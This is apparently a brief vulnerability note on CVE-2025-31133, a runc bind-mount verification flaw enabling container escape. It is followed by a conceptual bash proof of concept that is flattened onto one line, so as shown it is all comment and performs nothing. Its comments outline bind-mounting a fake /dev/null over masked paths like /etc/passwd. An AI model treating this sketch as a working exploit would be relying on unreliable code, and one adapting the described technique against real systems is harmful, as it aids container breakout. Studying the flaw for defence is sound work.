CVE-2025-31133: runc绑定挂载验证不足导致容器逃逸漏洞

#!/bin/bash # CVE-2025-31133 PoC - runc bind mount verification bypass # This PoC demonstrates creating a fake /dev/null to exploit the bind mount vulnerability # Create a fake /dev/null device (a regular file instead of a real device) # In a vulnerable runc version, this can be used to bypass maskedPaths FAKE_DEV_NULL="/tmp/fake_dev_null" TARGET_PATH="/etc/passwd" # Create a regular file to act as fake /dev/null echo "malicious content" > "$FAKE_DEV_NULL" # Attempt to bind mount the fake /dev/null over protected paths # This exploits the insufficient verification in runc's mount handling # Note: Actual exploitation requires specific container configuration and runc version # Example attack scenario: # 1. Attacker creates fake /dev/null in container # 2. Uses runc's mount functionality to bind mount it over sensitive paths # 3. Due to insufficient verification, the mount succeeds # 4. Attacker can now read/write to normally masked paths # Cleanup rm -f "$FAKE_DEV_NULL" echo "PoC demonstrates the concept of creating fake /dev/null for bind mount attack"